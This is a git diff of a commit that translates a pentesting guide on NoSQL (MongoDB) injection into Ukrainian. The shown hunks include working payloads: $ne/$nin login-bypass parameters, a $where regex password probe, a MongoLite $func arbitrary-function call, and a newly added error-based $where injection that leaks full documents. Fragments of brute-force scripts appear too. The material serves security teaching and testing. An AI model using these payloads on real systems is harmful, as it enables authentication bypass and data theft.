Translated ['src/pentesting-web/nosql-injection.md'] to uk

This commit is contained in:
Translator 2025-07-08 19:36:07 +00:00
parent 3591511bb9
commit 8504345f1d

View File

@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
```
### Обхід базової аутентифікації
**Використання not equal ($ne) або greater ($gt)**
**Використання не рівно ($ne) або більше ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -76,9 +76,9 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP Випадкове Виконання Функцій
### PHP Arbitrary Function Execution
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати випадкову функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати довільну функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
@ -86,7 +86,7 @@ in JSON
### Отримання інформації з різних колекцій
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** і отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** та отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
**ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`.
```json
@ -108,6 +108,12 @@ in JSON
}
]
```
### Error-Based Injection
Вставте `throw new Error(JSON.stringify(this))` у клаузу `$where`, щоб ексфільтрувати повні документи через помилки JavaScript на стороні сервера (вимагає, щоб додаток витікав помилки бази даних). Приклад:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Payloads
Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@ -176,7 +182,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Брутфорс логінів та паролів з POST логіна
### Brute-force login usernames and passwords from POST login
Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання.
```python
@ -229,5 +235,6 @@ get_password(u)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
{{#include ../banners/hacktricks-training.md}}